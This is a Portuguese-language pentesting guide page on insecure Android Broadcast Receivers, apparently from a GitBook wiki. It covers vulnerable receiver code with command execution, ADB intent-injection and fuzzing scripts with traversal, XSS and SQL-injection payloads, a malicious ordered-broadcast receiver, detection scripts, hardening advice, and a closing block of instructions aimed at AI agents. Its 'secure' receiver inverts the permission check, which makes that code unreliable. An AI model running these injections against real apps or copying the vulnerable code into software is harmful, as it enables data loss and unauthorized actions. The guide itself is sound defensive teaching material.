# Insecure Broadcast Receiver

## **📋 Índice**

1. [Fundamentos do Broadcast Receiver](#-fundamentos-do-broadcast-receiver)
2. [Tipos de Broadcasts](#-tipos-de-broadcasts)
3. [Arquitetura e Componentes](#-arquitetura-e-componentes)
4. [Mecanismos de Ataque](#-mecanismos-de-ataque)
5. [Técnicas de Exploração](#-técnicas-de-exploração)
6. [Vetores de Ataque](#-vetores-de-ataque)
7. [Ferramentas de Exploração](#-ferramentas-de-exploração)
8. [Impacto e Consequências](#-impacto-e-consequências)
9. [Detecção e Monitoramento](#-detecção-e-monitoramento)
10. [Mitigações e Hardening](#-mitigações-e-hardening)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Broadcast Receiver**

### **O que é Broadcast Receiver?**

**Broadcast Receiver** é um componente do Android que permite que aplicações respondam a mensagens de sistema ou de outros aplicativos (broadcasts). Funciona como um sistema de publish-subscribe onde qualquer aplicação pode enviar mensagens e qualquer receiver registrado pode recebê-las.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant A as App Atacante
    participant S as Sistema
    participant R as App Alvo

    Note over A,S: Broadcast Normal
    S->>R: Broadcast (Intent)
    R->>R: Processa broadcast

    Note over A,S: Broadcast Malicioso
    A->>R: Intent maliciosa
    R->>R: Processa sem validação
    R->>A: Executa ação não autorizada
    
    Note over A,R: Resultado
    R->>R: Vazamento de dados
    R->>R: Execução de ação
    R->>A: Elevação de privilégios
```

### **Componentes do Broadcast**

```yaml
Componentes Principais:

  🔵 Intent:
    - Action (ex: ACTION_BOOT_COMPLETED)
    - Data (URI)
    - Extras (dados adicionais)
    - Categories
    - Flags

  🔵 BroadcastReceiver:
    - Implementação do receptor
    - Método onReceive()
    - Registro no Manifest

  🔵 IntentFilter:
    - Define quais broadcasts o receiver aceita
    - Pode ser estático (manifest) ou dinâmico
```

***

## 📡 **Tipos de Broadcasts**

### **Comparação entre Tipos**

| Tipo                  | Descrição                                                | Segurança   | Persistência |
| --------------------- | -------------------------------------------------------- | ----------- | ------------ |
| **Normal Broadcast**  | Enviado para todos os receivers assíncronamente          | Baixa       | Não          |
| **Ordered Broadcast** | Enviado sequencialmente, prioridade define ordem         | Média       | Não          |
| **Sticky Broadcast**  | Permanece disponível para receivers futuros (deprecated) | Muito Baixa | Sim          |
| **Local Broadcast**   | Limitado ao próprio app (LocalBroadcastManager)          | Alta        | Não          |

### **Estrutura do Broadcast**

```python
#!/usr/bin/env python3
# broadcast_structure.py - Estrutura de Broadcasts

class BroadcastStructure:
    """Análise da estrutura de broadcasts Android"""
    
    @staticmethod
    def broadcast_components():
        """Componentes de um broadcast"""
        print("📋 Componentes de um Broadcast Intent")
        print("=" * 60)
        
        components = {
            "Action": "Identificador da ação (ex: com.example.ACTION_TEST)",
            "Data": "URI (ex: content://contacts/1)",
            "Extras": "Bundle com dados adicionais",
            "Categories": "Categorias para filtragem",
            "Flags": "Flags de controle (FLAG_RECEIVER_FOREGROUND, etc)"
        }
        
        for comp, desc in components.items():
            print(f"   • {comp}: {desc}")
    
    @staticmethod
    def system_broadcasts():
        """Broadcasts de sistema perigosos"""
        print("\n⚠️ Broadcasts de Sistema Potencialmente Perigosos")
        print("=" * 60)
        
        dangerous_broadcasts = [
            "android.intent.action.BOOT_COMPLETED",
            "android.intent.action.LOCALE_CHANGED",
            "android.intent.action.INPUT_METHOD_CHANGED",
            "android.intent.action.SCREEN_ON",
            "android.intent.action.SCREEN_OFF",
            "android.intent.action.USER_PRESENT",
            "android.intent.action.PACKAGE_ADDED",
            "android.intent.action.PACKAGE_REPLACED",
            "android.intent.action.NEW_OUTGOING_CALL",
            "android.provider.Telephony.SMS_RECEIVED"
        ]
        
        for bc in dangerous_broadcasts:
            print(f"   • {bc}")
    
    @staticmethod
    def broadcast_flags():
        """Flags de broadcast"""
        print("\n🏁 Flags de Broadcast")
        print("=" * 60)
        
        flags = {
            "FLAG_RECEIVER_FOREGROUND": "Receiver executado em foreground (maior prioridade)",
            "FLAG_RECEIVER_NO_ABORT": "Não pode abortar broadcast",
            "FLAG_RECEIVER_INCLUDE_BACKGROUND": "Incluir receivers em background",
            "FLAG_RECEIVER_EXCLUDE_BACKGROUND": "Excluir receivers em background",
            "FLAG_RECEIVER_REGISTERED_ONLY": "Apenas receivers registrados dinamicamente"
        }
        
        for flag, desc in flags.items():
            print(f"   • {flag}: {desc}")

# Executar
BroadcastStructure.broadcast_components()
BroadcastStructure.system_broadcasts()
BroadcastStructure.broadcast_flags()
```

***

## 🏗️ **Arquitetura e Componentes**

### **Registro de Broadcast Receivers**

```xml
<!-- AndroidManifest.xml - Receiver vulnerável -->
<receiver 
    android:name=".VulnerableReceiver"
    android:exported="true">
    <intent-filter>
        <action android:name="com.example.CUSTOM_ACTION" />
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <category android:name="android.intent.category.DEFAULT" />
    </intent-filter>
</receiver>
```

### **Implementação Vulnerável**

```java
// VulnerableReceiver.java - Receiver inseguro

public class VulnerableReceiver extends BroadcastReceiver {
    
    @Override
    public void onReceive(Context context, Intent intent) {
        // 1. Vulnerável: ação baseada em intent
        String action = intent.getAction();
        
        if ("com.example.DELETE_FILE".equals(action)) {
            // Executa ação perigosa sem validação
            String filename = intent.getStringExtra("filename");
            deleteFile(context, filename);
        }
        
        if ("com.example.GET_DATA".equals(action)) {
            // Retorna dados sensíveis
            String data = getSensitiveData();
            setResultData(data);
        }
        
        // 2. Vulnerável: executa código dinâmico
        String cmd = intent.getStringExtra("command");
        if (cmd != null) {
            Runtime.getRuntime().exec(cmd);
        }
        
        // 3. Vulnerável: inicia activity sem verificação
        String target = intent.getStringExtra("target_activity");
        if (target != null) {
            Intent launchIntent = new Intent();
            launchIntent.setClassName(context, target);
            context.startActivity(launchIntent);
        }
    }
    
    private void deleteFile(Context context, String filename) {
        // Deleta arquivo sensível
        context.deleteFile(filename);
    }
    
    private String getSensitiveData() {
        // Retorna dados sensíveis
        return "SENSITIVE_DATA";
    }
}
```

### **Registro Dinâmico**

```java
// DynamicReceiverRegistration.java - Registro dinâmico

public class MainActivity extends AppCompatActivity {
    
    private VulnerableReceiver receiver;
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        // Registrar receiver dinamicamente (mais perigoso)
        receiver = new VulnerableReceiver();
        IntentFilter filter = new IntentFilter();
        filter.addAction("com.example.DYNAMIC_ACTION");
        
        // Registro sem permissão
        registerReceiver(receiver, filter);
        
        // Registro perigoso com flags
        registerReceiver(receiver, filter, RECEIVER_EXPORTED);
    }
    
    @Override
    protected void onDestroy() {
        super.onDestroy();
        unregisterReceiver(receiver);
    }
}
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo do Ataque**

```mermaid
graph TD
    A[Atacante] --> B[Cria Intent maliciosa]
    B --> C[Envia broadcast]
    
    C --> D{Receiver exportado?}
    D -->|Sim| E[Receiver processa intent]
    D -->|Não| F[Ataque falha]
    
    E --> G{Ações disponíveis?}
    G -->|Ação| H[Executa ação]
    G -->|Dados| I[Retorna dados]
    G -->|Código| J[Executa código]
    
    H --> K[Comprometimento]
    I --> K
    J --> K
    
    style E fill:#ff9999
    style K fill:#ff3333
```

### **Vetores de Ataque**

```yaml
Vetores Comuns:

  🔴 Injeção de Intent:
    - Envio de Intents com dados maliciosos
    - Parâmetros não validados
    - Extras com dados perigosos

  🔴 Abuso de Ações:
    - Ações destrutivas (delete, modify)
    - Ações de acesso a dados
    - Ações de execução

  🔴 Order Broadcast Manipulation:
    - Registrar receiver com prioridade alta
    - Abortar broadcasts
    - Modificar resultados

  🔴 Data Leakage:
    - Broadcast que retorna dados sensíveis
    - ResultData com informações privilegiadas

  🔴 Permission Bypass:
    - Broadcasts sem permissões
    - Permissões signature não verificadas
```

***

## 🔧 **Técnicas de Exploração**

### **Técnica 1: Injeção de Intent**

```python
#!/usr/bin/env python3
# broadcast_injection.py - Injeção de Intent via ADB

import subprocess
import sys

class BroadcastInjection:
    """Injeção de broadcasts maliciosos via ADB"""
    
    @staticmethod
    def send_broadcast(package, action, extras=None):
        """Enviar broadcast para aplicação"""
        print(f"[*] Enviando broadcast para {package}")
        
        cmd = ['adb', 'shell', 'am', 'broadcast', '-a', action]
        
        # Adicionar extras
        if extras:
            for key, value in extras.items():
                if isinstance(value, str):
                    cmd.extend(['--es', key, value])
                elif isinstance(value, int):
                    cmd.extend(['--ei', key, str(value)])
                elif isinstance(value, bool):
                    cmd.extend(['--ez', key, str(value).lower()])
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True)
            print(f"   Resultado: {result.stdout}")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    @staticmethod
    def exploit_scenarios():
        """Cenários de exploração"""
        print("\n[*] Cenários de exploração:")
        
        scenarios = [
            {
                "name": "Deleção de arquivo",
                "action": "com.example.DELETE_FILE",
                "extras": {"filename": "../../../data/data/com.example.app/database.db"}
            },
            {
                "name": "Exfiltração de dados",
                "action": "com.example.GET_DATA",
                "extras": {"key": "password"}
            },
            {
                "name": "Execução de comando",
                "action": "com.example.EXECUTE",
                "extras": {"command": "id > /data/local/tmp/out.txt"}
            },
            {
                "name": "Injeção de código",
                "action": "com.example.LOAD_URL",
                "extras": {"url": "javascript:alert('XSS')"}
            }
        ]
        
        for scenario in scenarios:
            print(f"\n   {scenario['name']}:")
            BroadcastInjection.send_broadcast(
                "com.example.app",
                scenario['action'],
                scenario.get('extras')
            )

# Uso
if __name__ == "__main__":
    print("📡 Broadcast Injection Attack")
    print("=" * 60)
    
    BroadcastInjection.exploit_scenarios()
```

### **Técnica 2: Ordered Broadcast Abortion**

```java
// OrderedBroadcastExploit.java - Abuso de ordered broadcasts

public class MaliciousReceiver extends BroadcastReceiver {
    
    @Override
    public void onReceive(Context context, Intent intent) {
        
        // Registrar com prioridade alta (no manifest)
        // <intent-filter android:priority="1000">
        
        String action = intent.getAction();
        
        if ("com.example.ORDERED_ACTION".equals(action)) {
            
            // 1. Abortar broadcast (impedir outros receivers)
            abortBroadcast();
            
            // 2. Modificar resultado
            setResultCode(Activity.RESULT_OK);
            setResultData("Malicious data");
            
            // 3. Adicionar extras modificados
            Bundle extras = getResultExtras(true);
            extras.putString("modified_key", "malicious_value");
            
            // 4. Executar ação maliciosa
            executeMaliciousAction();
        }
    }
    
    private void executeMaliciousAction() {
        // Ações maliciosas
    }
}
```

### **Técnica 3: Sticky Broadcast Exploit (Deprecated)**

```java
// StickyBroadcastExploit.java - Abuso de sticky broadcasts (deprecated)

public class StickyBroadcastExploit {
    
    // Nota: Sticky broadcasts foram removidos no Android 5.0+
    // Mas ainda existem em versões antigas
    
    @SuppressWarnings("deprecation")
    public static void exploitStickyBroadcast(Context context) {
        
        // 1. Criar intent sticky
        Intent stickyIntent = new Intent("com.example.STICKY_ACTION");
        stickyIntent.putExtra("sensitive_data", "password123");
        
        // 2. Enviar sticky broadcast
        context.sendStickyBroadcast(stickyIntent);
        
        // 3. Qualquer receiver futuro receberá este broadcast
        // Incluindo apps maliciosos instalados posteriormente
    }
    
    @SuppressWarnings("deprecation")
    public static void removeStickyBroadcast(Context context) {
        context.removeStickyBroadcast(new Intent("com.example.STICKY_ACTION"));
    }
}
```

### **Técnica 4: Frida Script para Hooking**

```javascript
// frida_broadcast_hook.js - Hook de Broadcast Receiver

Java.perform(function() {
    console.log("[*] Hooking BroadcastReceiver");
    
    // Hook do método onReceive
    var BroadcastReceiver = Java.use("android.content.BroadcastReceiver");
    
    BroadcastReceiver.onReceive.implementation = function(context, intent) {
        console.log("[+] Broadcast received");
        
        var action = intent.getAction();
        console.log("    Action: " + action);
        
        // Log de extras
        var extras = intent.getExtras();
        if (extras != null) {
            var keySet = extras.keySet();
            var iterator = keySet.iterator();
            while (iterator.hasNext()) {
                var key = iterator.next();
                var value = extras.get(key);
                console.log("    Extra: " + key + " = " + value);
            }
        }
        
        // Modificar comportamento
        if (action === "com.example.DELETE_FILE") {
            console.log("[!] Blocking malicious action");
            return;
        }
        
        return this.onReceive(context, intent);
    };
});
```

### **Técnica 5: Exploração de Local Broadcast**

```java
// LocalBroadcastExploit.java - Exploração de local broadcast

public class LocalBroadcastExploit {
    
    // Nota: LocalBroadcastManager não é completamente seguro
    // pois qualquer app com mesmo UID pode acessar
    
    public static void exploitLocalBroadcast(Context context) {
        
        // LocalBroadcastManager envia dentro do mesmo processo
        // Mas se o atacante tem o mesmo UID, pode interceptar
        
        LocalBroadcastManager lbm = LocalBroadcastManager.getInstance(context);
        
        // Criar intent para local broadcast
        Intent intent = new Intent("com.example.LOCAL_ACTION");
        intent.putExtra("sensitive", "data");
        
        // Enviar broadcast
        lbm.sendBroadcast(intent);
        
        // Se outro app com mesmo UID tiver receiver, receberá
    }
}
```

***

## 🛠️ **Ferramentas de Exploração**

### **ADB Commands para Broadcasts**

```bash
#!/bin/bash
# adb_broadcast_commands.sh - Comandos ADB para broadcasts

# 1. Enviar broadcast básico
adb shell am broadcast -a com.example.TEST_ACTION

# 2. Enviar com extras
adb shell am broadcast -a com.example.DATA_ACTION --es key1 value1 --ei key2 123

# 3. Enviar com flags
adb shell am broadcast -a com.example.FLAG_ACTION --flags 0x10

# 4. Enviar para componente específico
adb shell am broadcast -n com.example.app/.TestReceiver

# 5. Enviar com permissão
adb shell am broadcast -a com.example.PERM_ACTION --receiver-permission com.example.PERMISSION

# 6. Enviar com URI
adb shell am broadcast -a com.example.URI_ACTION -d "content://contacts/1"

# 7. Enviar broadcast ordenado
adb shell am broadcast -a com.example.ORDERED_ACTION --ordered

# 8. Verificar receivers registrados
adb shell dumpsys package | grep -A 20 "Broadcast Filter"
```

### **Script de Fuzzing de Broadcasts**

```python
#!/usr/bin/env python3
# broadcast_fuzzer.py - Fuzzing de broadcasts

import subprocess
import random
import string
import sys

class BroadcastFuzzer:
    """Fuzzer para testar broadcasts inseguros"""
    
    @staticmethod
    def random_string(length=10):
        """Gerar string aleatória"""
        return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
    
    @staticmethod
    def generate_intent(action, extras=None):
        """Gerar intent para fuzzing"""
        cmd = ['adb', 'shell', 'am', 'broadcast', '-a', action]
        
        if extras:
            for key, value in extras.items():
                if isinstance(value, str):
                    cmd.extend(['--es', key, value])
                elif isinstance(value, int):
                    cmd.extend(['--ei', key, str(value)])
        
        return cmd
    
    @staticmethod
    def fuzz_action(action, iterations=10):
        """Fuzzing de uma ação específica"""
        print(f"[*] Fuzzing ação: {action}")
        
        payloads = [
            # Strings especiais
            {"payload": "' OR '1'='1"},
            {"payload": "<script>alert(1)</script>"},
            {"payload": "../../../etc/passwd"},
            {"payload": "%00%01%02%03"},
            {"payload": "A" * 10000},
            
            # Tipos misturados
            {"string": "test", "int": 0, "bool": True},
            {"string": None, "int": -1, "bool": False},
            
            # Valores extremos
            {"int": 2**31 - 1},
            {"int": -2**31},
            {"long": 2**63 - 1}
        ]
        
        for i, payload in enumerate(payloads[:iterations]):
            intent = BroadcastFuzzer.generate_intent(action, payload)
            print(f"   Teste {i+1}: {intent}")
            
            try:
                result = subprocess.run(intent, capture_output=True, text=True, timeout=5)
                if "Broadcast completed" in result.stdout:
                    print(f"      ✅ Executado")
                else:
                    print(f"      ❌ Erro: {result.stderr}")
            except Exception as e:
                print(f"      ❌ Erro: {e}")
    
    @staticmethod
    def discover_actions(package):
        """Descobrir ações de broadcast do pacote"""
        print(f"[*] Descobrindo ações em {package}")
        
        cmd = ['adb', 'shell', 'dumpsys', 'package', package]
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        actions = []
        for line in result.stdout.split('\n'):
            if 'action=' in line:
                action = line.split('action=')[1].split()[0]
                actions.append(action)
                print(f"   Ação encontrada: {action}")
        
        return actions

# Uso
if __name__ == "__main__":
    print("📡 Broadcast Fuzzer")
    print("=" * 60)
    
    if len(sys.argv) > 1:
        actions = BroadcastFuzzer.discover_actions(sys.argv[1])
        for action in actions[:3]:  # Limitar para fuzzing
            BroadcastFuzzer.fuzz_action(action, 5)
    else:
        print("Uso: broadcast_fuzzer.py <package>")
```

***

## 🔍 **Detecção e Monitoramento**

### **Detecção de Broadcasts Maliciosos**

```python
#!/usr/bin/env python3
# broadcast_detection.py - Detector de broadcasts maliciosos

import subprocess
import re

class BroadcastDetection:
    """Detector de broadcasts inseguros"""
    
    @staticmethod
    def find_exported_receivers(package):
        """Encontrar receivers exportados"""
        print(f"[*] Buscando receivers exportados em {package}")
        
        cmd = ['adb', 'shell', 'dumpsys', 'package', package]
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        receivers = []
        in_receiver = False
        
        for line in result.stdout.split('\n'):
            if 'BroadcastFilter' in line:
                in_receiver = True
                action_match = re.search(r'action="([^"]+)"', line)
                if action_match:
                    receivers.append(action_match.group(1))
            elif in_receiver and '}' in line:
                in_receiver = False
        
        if receivers:
            print(f"   Receivers encontrados:")
            for r in receivers:
                print(f"      • {r}")
        else:
            print("   Nenhum receiver encontrado")
        
        return receivers
    
    @staticmethod
    def check_permissions(package):
        """Verificar permissões dos broadcasts"""
        print(f"\n[*] Verificando permissões em {package}")
        
        cmd = ['adb', 'shell', 'dumpsys', 'package', package]
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        permissions = re.findall(r'android\.permission\.\w+', result.stdout)
        unique_perms = list(set(permissions))
        
        print(f"   Permissões encontradas:")
        for perm in unique_perms[:10]:
            print(f"      • {perm}")
    
    @staticmethod
    def monitor_broadcasts(duration=10):
        """Monitorar broadcasts em tempo real"""
        print(f"\n[*] Monitorando broadcasts por {duration}s...")
        
        cmd = ['adb', 'logcat', '-s', 'ActivityManager']
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=duration)
            
            broadcast_lines = [line for line in result.stdout.split('\n') if 'Broadcast' in line]
            
            if broadcast_lines:
                print(f"   Broadcasts detectados:")
                for line in broadcast_lines[:10]:
                    print(f"      {line[:100]}")
        except subprocess.TimeoutExpired:
            print("   Monitoramento concluído")

# Uso
if __name__ == "__main__":
    print("🔍 Broadcast Security Detection")
    print("=" * 60)
    
    if len(sys.argv) > 1:
        BroadcastDetection.find_exported_receivers(sys.argv[1])
        BroadcastDetection.check_permissions(sys.argv[1])
        BroadcastDetection.monitor_broadcasts(10)
    else:
        print("Uso: broadcast_detection.py <package>")
```

***

## 🛡️ **Mitigações e Hardening**

### **Implementação Segura**

```java
// SecureReceiver.java - Receiver seguro

public class SecureReceiver extends BroadcastReceiver {
    
    @Override
    public void onReceive(Context context, Intent intent) {
        
        // 1. Verificar permissão
        if (checkCallingPermission(context)) {
            return;
        }
        
        // 2. Verificar ação permitida
        String action = intent.getAction();
        if (!isAllowedAction(action)) {
            return;
        }
        
        // 3. Validar origem
        if (!isValidSource(context, intent)) {
            return;
        }
        
        // 4. Validar dados
        Bundle extras = intent.getExtras();
        if (extras != null && !validateExtras(extras)) {
            return;
        }
        
        // 5. Executar ação
        processAction(context, action, extras);
    }
    
    private boolean checkCallingPermission(Context context) {
        // Verificar se o remetente tem permissão
        if (context.checkCallingPermission("com.example.PERMISSION") != PackageManager.PERMISSION_GRANTED) {
            return false;
        }
        return true;
    }
    
    private boolean isAllowedAction(String action) {
        Set<String> allowedActions = new HashSet<>(Arrays.asList(
            "com.example.ALLOWED_ACTION_1",
            "com.example.ALLOWED_ACTION_2"
        ));
        return allowedActions.contains(action);
    }
    
    private boolean isValidSource(Context context, Intent intent) {
        // Verificar pacote do remetente
        String packageName = context.getPackageManager().getNameForUid(Binder.getCallingUid());
        return packageName != null && packageName.equals("com.trusted.app");
    }
    
    private boolean validateExtras(Bundle extras) {
        // Validar cada extra
        for (String key : extras.keySet()) {
            Object value = extras.get(key);
            
            // Verificar tipo esperado
            if (!(value instanceof String)) {
                return false;
            }
            
            // Verificar conteúdo malicioso
            String strValue = (String) value;
            if (strValue.contains("..") || strValue.contains(";") || strValue.contains("|")) {
                return false;
            }
        }
        return true;
    }
    
    private void processAction(Context context, String action, Bundle extras) {
        // Ação segura
    }
}
```

### **Configuração Segura no Manifest**

```xml
<!-- AndroidManifest.xml - Configuração segura -->
<receiver 
    android:name=".SecureReceiver"
    android:exported="false">  <!-- Não exportado -->
    <intent-filter>
        <action android:name="com.example.INTERNAL_ACTION" />
    </intent-filter>
</receiver>

<!-- Se precisar exportar, usar permissão -->
<receiver 
    android:name=".SecureReceiver"
    android:exported="true"
    android:permission="com.example.SECURE_PERMISSION">
    <intent-filter>
        <action android:name="com.example.EXTERNAL_ACTION" />
    </intent-filter>
</receiver>

<!-- Para broadcasts de sistema -->
<receiver 
    android:name=".BootReceiver"
    android:exported="true"
    android:permission="android.permission.RECEIVE_BOOT_COMPLETED">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
</receiver>
```

***

## 📋 **Checklists de Segurança**

### **Checklist para Desenvolvedores**

* [ ] Definir android:exported="false" quando possível
* [ ] Usar permissões customizadas para receivers exportados
* [ ] Validar todas as intents recebidas
* [ ] Verificar origem do broadcast (UID/PID)
* [ ] Não confiar em dados de entrada
* [ ] Usar LocalBroadcastManager para comunicação interna
* [ ] Evitar ações destrutivas via broadcast

### **Checklist para Pentesters**

* [ ] Identificar receivers exportados
* [ ] Testar injeção de intents
* [ ] Verificar ações perigosas
* [ ] Testar bypass de permissões
* [ ] Monitorar broadcasts de sistema
* [ ] Testar ordered broadcasts

***

## 📊 **Conclusão**

```yaml
Insecure Broadcast Receiver:

  🔴 Principais Vetores:
    - Receivers exportados
    - Falta de validação de intents
    - Ações destrutivas via broadcast
    - Permissões fracas

  🛡️ Mitigações Essenciais:
    - android:exported="false"
    - Permissões customizadas
    - Validação de origem
    - LocalBroadcastManager

  🎯 Prioridade:
    - CRÍTICA: Receivers com ações destrutivas
    - ALTA: Receivers de sistema
    - MÉDIA: Comunicação entre apps
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/android/insecure-broadcast-receiver.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.